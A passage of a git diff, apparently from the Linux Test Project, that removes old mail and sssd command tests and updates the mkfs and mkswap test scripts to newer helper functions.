-## This program is distributed in the hope that it will be useful, but		##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY	##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License	##
-## for more details.								##
-##										##
-## You should have received a copy of the GNU General Public License		##
-## along with this program;  if not, write to the Free Software			##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA	##
-##										##
-################################################################################
-#
-# File :		mail_tests.sh
-#
-# Description:  Tests basic functions of mail system. The aim of the test is to
-#		make sure that certain basic functionality of mail is expected
-#		to work as per man page. There are 4 - 5 operations that are
-#		done on a regular basis wrt mail. ie.
-#
-#		   mail sent to an user@domain - received by that user@domain
-#		   mail is sent to nosuchuser@domain - mail delivery failure
-#		   mail is sent to user@nosuchdomain - mail delivery failure
-#		   mail to user1@domain and cc user2@domain - mail rec by both
-#		   mail to user1@domain and bcc user2@domain - mail rec by both
-#
-# Author:	  Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:	  Jan 07 2003 - Created - Manoj Iyer.
-#		  Jan 09 2003 - Added Test #2 #3 #4 and #5.
-#		  Jan 10 2002 - Fixed various bugs I had introduced in the test.
-#			      - Added SETUP and CLEANUP sections
-#
-
-export TST_TOTAL=5
-
-LTPTMP=${TMPBASE:-/tmp}
-
-if [ -z "$LTPBIN" -a -z "$LTPROOT" ]; then
-	LTPBIN=./
-else
-	LTPBIN=$LTPROOT/testcases/bin
-fi
-
-isHeirloomMail=0
-checkHeirloomMail()
-{
-	if [ $# -eq 1 -a -f $1 ] && grep "Heirloom" $1; then
-		isHeirloomMail=1
-	fi
-}
-
-RC=0
-export TCID=mail_tests::setup
-export TST_COUNT=1
-
-if ! type mail > /dev/null 2>&1; then
-	tst_resm TCONF "mail isn't installed"
-	exit 0
-fi
-
-cat > $LTPTMP/tst_mail.in <<EOF
-This is a test email.
-EOF
-
-if [ $? -ne 0 ] ; then
-	tst_resm TBROK "couldn't create a temporary message"
-fi
-
-# check if the user mail_test exists on this system.
-# if not add that user mail_test, will removed before exiting test.
-if id -u mail_test >/dev/null 2>&1; then
-	tst_resm TINFO "INIT: Adding temporary user mail_test"
-	useradd -m -s /sbin/nologin mail_test > $LTPTMP/tst_mail.out 2>&1
-	if [ $? -ne 0 ]; then
-		tst_brk TBROK $LTPTMP/tst_mail.out NULL \
-			"Test INIT: Failed adding user mail_test. Reason:"
-		exit 1
-	fi
-fi
-
-trap
-
-tst_resm TINFO "INIT: Removing all mails for mail_test and root"
-echo "d*" | mail -u mail_test > /dev/null 2>&1
-echo "d*" | mail -u root > /dev/null 2>&1
-
-# Set return code RC variable to 0, it will be set with a non-zero return code
-# in case of error. Set TFAILCNT to 0, increment if there occures a failure.
-
-TFAILCNT=0
-RC=0
-RC1=0
-RC2=0
-
-# Test #1
-# Test that mail user@domain will send a mail to that user at that domain.
-
-export TCID=mail_tests::mail01
-export TST_COUNT=1
-
-tst_resm TINFO "Test #1: mail root@localhost will send mail to root"
-tst_resm TINFO "Test #1: user on local machine."
-
-mail -s "Test" root@localhost < $LTPTMP/tst_mail.in \
-	> $LTPTMP/tst_mail.out 2>&1
-if [ $? -ne 0 ]; then
-	tst_res TFAIL $LTPTMP/tst_mail.out \
-	    "Test #1: mail command failed. Reason: "
-	: $(( TFAILCNT += 1 ))
-else
-	# check if root received a new email with Test as subject
-	# but wait for the mail to arrive.
-
-	sleep 10
-	echo "d" | mail -u root > $LTPTMP/tst_mail.res 2>&1
-	mailsub=$(awk '/^>N/ {print match($9, "Test")}' $LTPTMP/tst_mail.res)
-	if [ "x$mailsub" != x0 ]; then
-		tst_resm TPASS \
-		    "Test #1: Mail was sent to root & was received"
-	else
-		tst_res TFAIL $LTPTMP/tst_mail.res \
-		    "Test #1: Mail sent to root, but was not received"
-		: $(( TFAILCNT += 1 ))
-	fi
-
-fi
-
-# Test #2
-# Test that mail user@bad-domain will result in a warning from the mailer
-# daemon that the domain does not exist.
-
-export TCID=mail_tests::mail02
-export TST_COUNT=2
-RC1=0
-RC2=0
-RC3=0
-RC4=0
-
-tst_resm TINFO "Test #2: mail user@bad-domain will result in failure"
-tst_resm TINFO "Test #2: to deliver the mail. Mailer daemon should"
-tst_resm TINFO "Test #2: report this failure."
-
-tvar=${MACHTYPE%-*}
-tvar=${tvar#*-}
-
-# Don't use underscores in domain names (they're illegal)...
-mail -s "Test" root@thisdomaindoesnotexist < $LTPTMP/tst_mail.in \
-	> $LTPTMP/tst_mail.out 2>&1
-if [ $? -ne 0 ]; then
-	tst_res TFAIL $LTPTMP/tst_mail.out \
-	    "Test #2: mail command failed. Reason:"
-	: $(( TFAILCNT += 1 ))
-else
-	# check if Mailer-Deamon reported any delivery failure.
-	# but wait for the mail to arrive first, sleep 5.
-	sleep 5
-	echo "d" | mail -u root > $LTPTMP/tst_mail.res 2>&1
-	checkHeirloomMail $LTPTMP/tst_mail.res
-	if [ $isHeirloomMail -eq 0 ]; then
-		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3, "Mailer-Daemon")}' \
-		    $LTPTMP/tst_mail.res)
-	else
-		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3 $4 $5,
-		    "MailDelivery(Subsys|System|Syst)")}' $LTPTMP/tst_mail.res)
-	fi
-
-	##################################################################
-	# In this testcase, mail will get "Returnedmail:", while mailx will
-	# get "UndeliveredMailReturned:".
-	# Either of mail and mailx may be linked to another.
-	# For example,
-	# /bin/mail -> /bin/mailx
-	# or
-	# /bin/mailx -> /bin/mail
-	##################################################################
-	if [ $isHeirloomMail -eq 0 ]; then
-		RC2=$(awk '/^>N/ {print match($9 $10, "Returnedmail:")}' \
-		    $LTPTMP/tst_mail.res)
-		RC3=$(awk '/^>N/ {print match($9 $10, "UndeliveredMail")}' \
-		    $LTPTMP/tst_mail.res)
-	else
-		RC2=$(awk '/^>N/ {print match($11 $12, "Returnedmail:")}' \
-		    $LTPTMP/tst_mail.res)
-		RC3=$(awk '/^>N/ {print match($11 $12, "UndeliveredMail")}' \
-		    $LTPTMP/tst_mail.res)
-	fi
-	if [ -z "$RC1" -a -z "$RC2" -a -z "$RC3" ]; then
-		RC4=$(awk '{print match($1 $2 $3, "Nomailfor")}' \
-        	    $LTPTMP/tst_mail.res)
-		if [ \( "$tvar" = "redhat" -o "$tvar" = "redhat-linux" \) -a -n "$RC4" ]; then
-			tst_resm TPASS \
-				"Test #2: No new mail for root as expected"
-		else
-			tst_res TFAIL $LTPTMP/tst_mail.res \
-			    "Test #2: No new mail for root. Reason:"
-			: $(( TFAILCNT += 1 ))
-		fi
-	else
-
-		if [ $RC1 -ne 0 -a $RC2 -ne 0 ] || [ $RC1 -ne 0 -a $RC3 -ne 0 ]; then
-			tst_resm TPASS \
-				"Test #2: Mailer-Deamon reported delivery failure"
-		else
-			tst_res TFAIL $LTPTMP/tst_mail.res \
-			"Test #2: Mailer-Deamon failed to report delivery failure. Reason:"
-			: $(( TFAILCNT += 1 ))
-		fi
-
-	fi
-
-
-fi
-
-# Test #3
-# Test that mail non_existent_user@localhost will result in delivery failure.
-# Mailer-Deamon will report this failure.
-
-export TCID=mail_tests::mail03
-export TST_COUNT=3
-RC=0
-RC1=0
-RC2=0
-
-tst_resm TINFO "Test #3: mail non_existent_user@localhost will fail"
-tst_resm TINFO "Test #3: to deliver the mail. Mailer daemon should"
-tst_resm TINFO "Test #3: report this failure."
-
-mail -s "Test" non_existent_user@localhost < $LTPTMP/tst_mail.in > \
-    $LTPTMP/tst_mail.out 2>&1
-if [ $? -ne 0 ]; then
-	tst_res TFAIL $LTPTMP/tst_mail.out \
-	    "Test #3: mail command failed. Reason: "
-	: $(( TFAILCNT += 1 ))
-else
-	# check if Mailer-Deamon reported any delivery failure.
-	# but wait for the mail to arrive first, sleep 5.
-	sleep 5
-	echo "d" | mail -u root > $LTPTMP/tst_mail.res 2>&1
-	checkHeirloomMail $LTPTMP/tst_mail.res
-	if [ $isHeirloomMail -eq 0 ]; then
-		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3, "Mailer-Daemon")}' \
-		    $LTPTMP/tst_mail.res)
-	else
-		RC1=$(awk '/^>N/ {IGNORECASE=1; print match($3 $4 $5,
-		    "MailDelivery(Subsys|System|Syst)")}' $LTPTMP/tst_mail.res)
-	fi
-	##################################################################
-	# In this testcase, mail will get "Returnedmail:", while mailx will
-	# get "UndeliveredMailReturned:".
-	# Either of mail and mailx may be linked to another.
-	# For example,
-	# /bin/mail -> /bin/mailx
-	# or
-	# /bin/mailx -> /bin/mail
-	#################################################################
-	if [ $isHeirloomMail -eq 0 ]; then
-		RC2=$(awk '/^>N/ {print match($9 $10, "Returnedmail:")}' \
-		    $LTPTMP/tst_mail.res)
-		RC3=$(awk '/^>N/ {print match($9 $10, "UndeliveredMail")}' \
-		    $LTPTMP/tst_mail.res)
-	else
-		RC2=$(awk '/^>N/ {print match($11 $12, "Returnedmail:")}' \
-		    $LTPTMP/tst_mail.res)
-		RC3=$(awk '/^>N/ {print match($11 $12, "UndeliveredMail")}' \
-		    $LTPTMP/tst_mail.res)
-	fi
-fi
-if [ -z "$RC1" -a -z "$RC2" -a -z "$RC3" ]; then
-
-	tst_res TFAIL $LTPTMP/tst_mail.res \
-	    "Test #3: No new mail for root. Reason:"
-	: $(( TFAILCNT += 1 ))
-
-else
-	if [ $RC1 -ne 0 -a $RC2 -ne 0 ] || [ $RC1 -ne 0 -a $RC3 -ne 0 ]; then
-		tst_resm TPASS \
-		    "Test #3: Mailer-Daemon reported delivery failure"
-	else
-		tst_res TFAIL $LTPTMP/tst_mail.res \
-		    "Test #3: Mailer-Daemon failed to report delivery failure. Reason:"
-		: $(( TFAILCNT += 1 ))
-	fi
-fi
-
-# Test #4
-# Test that mail -c user@domain option will carbon copy that user.
-
-export TCID=mail_tests::mail04
-export TST_COUNT=4
-RC=0
-
-tst_resm TINFO "Test #4: Test that mail -c user@domain will"
-tst_resm TINFO "Test #4: carbon copy user@domain"
-# send mail to root and carbon copy mail_test
-mail -s "Test" root@localhost -c mail_test@localhost < \
-    $LTPTMP/tst_mail.in > $LTPTMP/tst_mail.out 2>&1
-if [ $? -ne 0 ]; then
-	tst_res TFAIL $LTPTMP/tst_mail.out \
-	    "Test #4: mail command failed. Reason:"
-	: $(( TFAILCNT += 1 ))
-else
-	# Check if mail_test received the mail and
-	# also if root received the main copy of the email.
-	sleep 5
-	echo "d" | mail -u root > $LTPTMP/tst_mail.res 2>&1
-	RC1=$(awk '/^>N/ {print match($9, "Test")}' $LTPTMP/tst_mail.res)
-	echo "d" | mail -u mail_test > $LTPTMP/tst_mail.res 2>&1
-	RC2=$(awk '/^>N/ {print match($9, "Test")}' $LTPTMP/tst_mail.res)
-
-	if [ "x$RC1" != x0 -a "x$RC2" != x0 ]; then
-		tst_resm TPASS \
-		    "Test #4: Mail was carbon copied to user mail_test"
-	else
-		tst_res TFAIL $LTPTMP/tst_mail.res \
-		    "Test #4: mail failed to carbon copy user mail_test. Reason:"
-		: $(( TFAILCNT += 1 ))
-	fi
-
-fi
-
-# Test #5
-# Test that mail -b user@domain option will blind carbon copy that user.
-
-export TCID=mail_tests::mail05
-export TST_COUNT=5
-RC=0
-
-tst_resm TINFO "Test #5: Test that mail -b user@domain will"
-tst_resm TINFO "Test #5: blind carbon copy user@domain"
-
-# send mail to root and blind carbon copy mail_test
-mail -s "Test" root@localhost -c mail_test@localhost < \
-	$LTPTMP/tst_mail.in > $LTPTMP/tst_mail.out 2>&1
-if [ $? -ne 0 ]; then
-	tst_res TFAIL $LTPTMP/tst_mail.out \
-	    "Test #5: mail command failed. Reason:"
-	: $(( TFAILCNT += 1 ))
-else
-	# Check if mail_test received the mail and
-	# also if root received the main copy of the email.
-	sleep 5
-	echo "d" | mail -u root > $LTPTMP/tst_mail.res 2>&1
-	RC1=$(awk '/^>N/ {print match($9, "Test")}' $LTPTMP/tst_mail.res)
-	echo "d" | mail -u mail_test > $LTPTMP/tst_mail.res 2>&1
-	RC2=$(awk '/^>N/ {print match($9, "Test")}' $LTPTMP/tst_mail.res)
-
-	if [ "x$RC1" != x0 -a "x$RC2" != x0 ]; then
-		tst_resm TPASS \
-		    "Test #5: Mail was carbon copied to user mail_test"
-	else
-		tst_res TFAIL $LTPTMP/tst_mail.res \
-		    "Test #5: mail failed to carbon copy user mail_test. Reason:"
-		: $(( TFAILCNT += 1 ))
-	fi
-
-fi
-
-#CLEANUP & EXIT
-# remove all the temporary files created by this test.
-export TCID=mail_tests::cleanup
-export TST_COUNT=1
-
-tst_resm TINFO "Test CLEAN: Removing temporary files from $LTPTMP"
-rm -fr $LTPTMP/tst_mail*
-
-tst_resm TINFO "Test CLEAN: Removing temporary user mail_test"
-userdel -r mail_test > /dev/null 2>&1
-
-exit $TFAILCNT
diff --git a/testcases/commands/mkfs/mkfs01.sh b/testcases/commands/mkfs/mkfs01.sh
index cf7ccb6..68d4083 100755
--- a/testcases/commands/mkfs/mkfs01.sh
+++ b/testcases/commands/mkfs/mkfs01.sh
@@ -48,7 +48,7 @@
 setup()
 {
 	if [ -n "$FS_TYPE" ]; then
-		tst_check_cmds mkfs.${FS_TYPE}
+		tst_test_cmds mkfs.${FS_TYPE}
 	fi
 
 	ROD_SILENT mkdir -p mntpoint
diff --git a/testcases/commands/mkswap/mkswap01.sh b/testcases/commands/mkswap/mkswap01.sh
index 1c01c86..0c59f0e 100755
--- a/testcases/commands/mkswap/mkswap01.sh
+++ b/testcases/commands/mkswap/mkswap01.sh
@@ -29,7 +29,7 @@
 {
 	UUID=`uuidgen`
 
-	PAGE_SIZE=`getconf PAGE_SIZE`
+	PAGE_SIZE=`tst_getconf PAGESIZE`
 
 	# Here get the size of the device and align it down to be the
 	# multiple of $PAGE_SIZE and use that as the size for testing.
@@ -37,25 +37,14 @@
 	DEVICE_SIZE=$((($real_size/$PAGE_SIZE * $PAGE_SIZE)/1024))
 }
 
-wait_for_file()
+check_for_file()
 {
 	local path="$1"
-	local retries=10
 
-	if [ -z "$path" ]; then
+	if [ -z "$path" -o -e "$path" ]; then
 		return
 	fi
-
-	while [ $retries -gt 0 ]; do
-		if [ -e "$path" ]; then
-			return
-		fi
-		tst_res TINFO "Waiting for $path to appear"
-		retries=$((retries - 1))
-		tst_sleep 10ms
-	done
-
-	tst_res TINFO "The file $path haven't appeared"
+	return 1
 }
 
 mkswap_verify()
@@ -75,7 +64,12 @@
 		local pagesize=$PAGE_SIZE
 	fi
 
-	wait_for_file "$dev_file"
+	if tst_kvcmp -lt "2.6.35" && [ -n "$dev_file" ]; then
+		tst_res TINFO "Waiting for $dev_file to appear"
+		tst_sleep 100ms
+	else
+		TST_RETRY_FUNC "check_for_file $dev_file" 0
+	fi
 
 	swapon $swapfile 2>/dev/null
 
diff --git a/testcases/commands/sssd/Makefile b/testcases/commands/sssd/Makefile
deleted file mode 100644
index 9fadfae..0000000
--- a/testcases/commands/sssd/Makefile
+++ /dev/null
@@ -1,25 +0,0 @@
-#
-#  Copyright (c) 2012 FUJITSU LIMITED
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
-
-top_srcdir		?= ../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-INSTALL_TARGETS		:= sssd0* sssd-lib.sh
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/sssd/sssd-lib.sh b/testcases/commands/sssd/sssd-lib.sh
deleted file mode 100755
index be72e1f..0000000
--- a/testcases/commands/sssd/sssd-lib.sh
+++ /dev/null
@@ -1,189 +0,0 @@
-#!/bin/sh
-#
-#  Copyright (c) 2012 FUJITSU LIMITED
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-##################################################################
-
-export TST_TOTAL=${TST_TOTAL:=1}
-export TST_COUNT=1
-export TCID=${TCID:="$(basename "$0")"}
-
-if [ -z "$LTPTMP" -a -z "$TMPBASE" ]; then
-	LTPTMP=/tmp
-else
-	LTPTMP=$TMPBASE
-fi
-
-if ! which sss_useradd >/dev/null 2>&1; then
-	tst_brkm TCONF NULL \
-		 "sss_useradd does not exist. Skipping all testcases."
-	exit 0
-fi
-
-# Signals to trap.
-readonly TRAP_SIGS="2 3 6 11 15"
-
-CONFIG_FILE="/etc/sssd/sssd.conf"
-NSS_CONFIG_FILE="/etc/nsswitch.conf"
-
-# number of seconds to wait for another sssd test to complete
-WAIT_COUNT=30
-
-cleanup()
-{
-	disable_traps
-	exit_code=$1
-
-	# Restore the previous sssd daemon state.
-	if [ -f "$CONFIG_FILE.ltpback" ]; then
-		if mv "$CONFIG_FILE.ltpback" "$CONFIG_FILE"; then
-			mv $NSS_CONFIG_FILE.ltpback $NSS_CONFIG_FILE
-			# Make sure that restart_sssd_daemon doesn't loop
-			# back to cleanup again.
-			if [ $SSSD_STARTED -eq 1 ]; then
-				stop_daemon sssd
-			else
-				restart_sssd_daemon "return 1"
-			fi
-			# Maintain any nonzero exit codes
-			if [ $exit_code -ne $? ]; then
-				exit_code=1
-			fi
-		else
-			exit_code=1
-		fi
-	fi
-
-	exit $exit_code
-}
-
-setup()
-{
-	tst_require_root
-
-	trap '	disable_traps
-		tst_resm TBROK "Testing is terminating due to a signal"
-		cleanup 1' $TRAP_SIGS || exit 1
-
-	# Check to see if sssd exists
-	if [ ! -e /usr/sbin/sssd ]; then
-		tst_resm TCONF "couldn't find sssd"
-		cleanup	0
-	fi
-
-	# Check to see if nscd exists
-	if [ ! -e /usr/sbin/nscd ]; then
-		tst_resm TCONF "couldn't find nscd"
-		cleanup	0
-	fi
-
-	# Back up configuration file
-	if [ -f "$CONFIG_FILE" ]; then
-		# Pause if another LTP sssd test is running
-		while [ -f "$CONFIG_FILE.ltpback" -a $WAIT_COUNT -gt 0 ]; do
-			: $(( WAIT_COUNT -= 1 ))
-			sleep 1
-		done
-		# Oops -- $CONFIG_FILE.ltpback is still there!
-		if [ $WAIT_COUNT -eq 0 ]; then
-			tst_resm TBROK "another sssd test is stuck"
-			cleanup 1
-		elif ! cp "$CONFIG_FILE" "$CONFIG_FILE.ltpback"; then
-			tst_resm TBROK "failed to backup $CONFIG_FILE"
-			cleanup 1
-		fi
-
-		cp $NSS_CONFIG_FILE $NSS_CONFIG_FILE.ltpback
-		grep "passwd:     files sss" $NSS_CONFIG_FILE > /dev/null
-		if [ $? -ne 0 ]; then
-			sed -i "s/passwd:     files/passwd:     files sss/" \
-				$NSS_CONFIG_FILE
-		fi
-	else
-		tst_resm TWARN "$CONFIG_FILE not found!"
-		touch $CONFIG_FILE
-	fi
-	chmod 0600 $CONFIG_FILE
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK NULL "fail to modify the permission of $CONFIG_FILE"
-	fi
-}
-
-disable_traps()
-{
-	trap - $TRAP_SIGS
-}
-
-restart_sssd_daemon()
-{
-	# Default to running `cleanup 1' when dealing with error cases.
-	if [ $# -eq 0 ]; then
-		cleanup_command="cleanup 1"
-	else
-		cleanup_command=$1
-	fi
-
-	tst_resm TINFO "restarting sssd daemon"
-	restart_daemon sssd
-	if [ $? -eq 0 ]; then
-		# wait sssd restart success.
-		sleep 1
-	else
-		$cleanup_command
-	fi
-}
-
-# sssd.conf should contain:
-# [sssd]
-# config_file_version = 2
-# services = nss, pam
-# domains = LOCAL
-#
-#[nss]
-#
-#[pam]
-#
-#[domain/LOCAL]
-#id_provider = local
-make_config_file()
-{
-	printf "[sssd]\nconfig_file_version = 2\n" > $CONFIG_FILE
-	printf "services = nss, pam\ndomains = LOCAL\n" >> $CONFIG_FILE
-	printf "\n[nss]\n\n[pam]\n\n" >> $CONFIG_FILE
-	printf "[domain/LOCAL]\nid_provider = local\n" >> $CONFIG_FILE
-}
-
-. cmdlib.sh
-
-SSSD_STARTED=0
-status_daemon sssd
-if [ $? -ne 0 ]; then
-	SSSD_STARTED=1
-fi
-
-# determine sssd.conf can support override_gid?
-setup
-make_config_file
-sed -i -e "/\[domain\/LOCAL\]/ a\override_gid = error" $CONFIG_FILE
-# make sure config file is OK
-sleep 1
-restart_daemon sssd
-
-if [ $? -ne 1 ]; then
-	tst_resm TCONF "override_gid does not exist. Skipping all testcases"
-	cleanup 0
-fi
diff --git a/testcases/commands/sssd/sssd01 b/testcases/commands/sssd/sssd01
deleted file mode 100755
index 1df4e42..0000000
--- a/testcases/commands/sssd/sssd01
+++ /dev/null
@@ -1,143 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) 2012 FUJITSU LIMITED
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-# Description:  Test override_homedir in the configuration file.
-# Author:       Peng Haitao <penght@cn.fujitsu.com>
-# History:      2012/02/17 - Created.
-#
-
-. ./sssd-lib.sh || exit 1
-
-sssd_case1()
-{
-	export TST_COUNT=1
-
-	tst_resm TINFO "test override_homedir with absolute path in [nss]"
-
-	# Create the configuration file specific to this test case.
-	make_config_file
-	sed -i -e "/\[nss\]/ a\override_homedir = $LTPTMP" $CONFIG_FILE
-	sleep 1
-
-	getent passwd $username@LOCAL | grep "$LTPTMP" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TFAIL "sssd: user home dir should be not $LTPTMP."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	restart_sssd_daemon
-
-	getent passwd $username@LOCAL | grep "$LTPTMP" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user home dir is $LTPTMP."
-	else
-		tst_resm TFAIL "sssd: user home dir should be $LTPTMP."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-sssd_case2()
-{
-	export TST_COUNT=2
-
-	tst_resm TINFO "test override_homedir with template in [domain/LOCAL]"
-
-	# Create the configuration file specific to this test case.
-	make_config_file
-	sed -i -e "/\[domain\/LOCAL\]/ a\override_homedir = $LTPTMP/%u_%U@%d" \
-		   $CONFIG_FILE
-	sleep 1
-
-	uid=`id -u $username`
-	home_dir="$LTPTMP/${username}_$uid@LOCAL"
-	getent passwd $username@LOCAL | grep "$home_dir" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TFAIL "sssd: user home dir should be not $home_dir."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	restart_sssd_daemon
-
-	getent passwd $username@LOCAL | grep "$home_dir" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user home dir is $home_dir."
-	else
-		tst_resm TFAIL "sssd: user home dir should be $home_dir."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-sssd_case3()
-{
-	export TST_COUNT=3
-
-	tst_resm TINFO "test override_homedir with absolute path in [nss]"
-
-	# Create the configuration file specific to this test case.
-	make_config_file
-	sed -i -e "/\[nss\]/ a\override_homedir = $LTPTMP/%f" $CONFIG_FILE
-	sleep 1
-
-	home_dir="$LTPTMP/$username@LOCAL"
-	getent passwd $username@LOCAL | grep "$home_dir" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TFAIL "sssd: user home dir should be not $home_dir."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	restart_sssd_daemon
-
-	getent passwd $username@LOCAL | grep "$home_dir" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user home dir is $home_dir."
-	else
-		tst_resm TFAIL "sssd: user home dir should be $home_dir."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-export TST_TOTAL=3
-export TCID=sssd01
-
-TFAILCNT=0
-username="sssd_test_user"
-
-make_config_file
-# make sure config file is OK
-sleep 1
-restart_sssd_daemon
-sss_useradd $username
-
-for i in $(seq 1 $TST_TOTAL); do
-	sssd_case$i
-done
-
-sss_userdel $username
-cleanup ${TFAILCNT:=0}
diff --git a/testcases/commands/sssd/sssd02 b/testcases/commands/sssd/sssd02
deleted file mode 100755
index de953c1..0000000
--- a/testcases/commands/sssd/sssd02
+++ /dev/null
@@ -1,75 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) 2012 FUJITSU LIMITED
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-# Description:  Test override_gid in the configuration file.
-# Author:       Peng Haitao <penght@cn.fujitsu.com>
-# History:      2012/02/08 - Created.
-#
-
-. ./sssd-lib.sh || exit 1
-
-sssd_case1()
-{
-	tst_resm TINFO "test override_gid with gid+1 in [domain/LOCAL]"
-
-	# Create the configuration file specific to this test case.
-	make_config_file
-	gid=`id -g $username`
-	gid_add_one=$(( gid+1 ))
-	sed -i -e "/\[domain\/LOCAL\]/ a\override_gid = $gid_add_one" \
-		$CONFIG_FILE
-	sleep 1
-
-	getent passwd $username@LOCAL | grep "$gid_add_one" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TFAIL "sssd: user GID should be not $gid_add_one."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	restart_sssd_daemon
-
-	getent passwd $username@LOCAL | grep "$gid_add_one" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user GID is $gid_add_one."
-	else
-		tst_resm TFAIL "sssd: user GID should be $gid_add_one."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-export TST_TOTAL=1
-export TST_COUNT=1
-export TCID=sssd02
-
-TFAILCNT=0
-username="sssd_test_user"
-
-make_config_file
-# make sure config file is OK
-sleep 1
-restart_sssd_daemon
-sss_useradd $username
-
-sssd_case1
-
-sss_userdel $username
-cleanup ${TFAILCNT:=0}
diff --git a/testcases/commands/sssd/sssd03 b/testcases/commands/sssd/sssd03
deleted file mode 100755
index d1bd75b..0000000
--- a/testcases/commands/sssd/sssd03
+++ /dev/null
@@ -1,217 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) 2012 FUJITSU LIMITED
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-# Description:  Test allowed_shells, vetoed_shells and shell_fallback
-#               in the configuration file.
-# Author:       Peng Haitao <penght@cn.fujitsu.com>
-# History:      2012/02/09 - Created.
-#
-
-. ./sssd-lib.sh || exit 1
-
-sssd_case1()
-{
-	export TST_COUNT=1
-
-	tst_resm TINFO "test allowed_shells with the shell in \"/etc/shells\"."
-
-	sss_usermod -s $line_shell $username
-	getent passwd $username@LOCAL | grep "$line_shell" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "sssd: user login shell is $line_shell."
-	else
-		tst_resm TFAIL "sssd: user login shell should be $line_shell."
-		: $(( TFAILCNT += 1 ))
-		return $TFAILCNT
-	fi
-
-	return 0
-}
-
-sssd_case2()
-{
-	export TST_COUNT=2
-
-	tst_resm TINFO "test not set allowed_shells"
-
-	make_config_file
-	sleep 1
-
-	restart_sssd_daemon
-
-	# When not set allowed_shells, the user shell is used even if is wrong
-	sss_usermod -s $LTPTMP/noshell $username
-	getent passwd $username@LOCAL | grep "$LTPTMP/noshell" >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
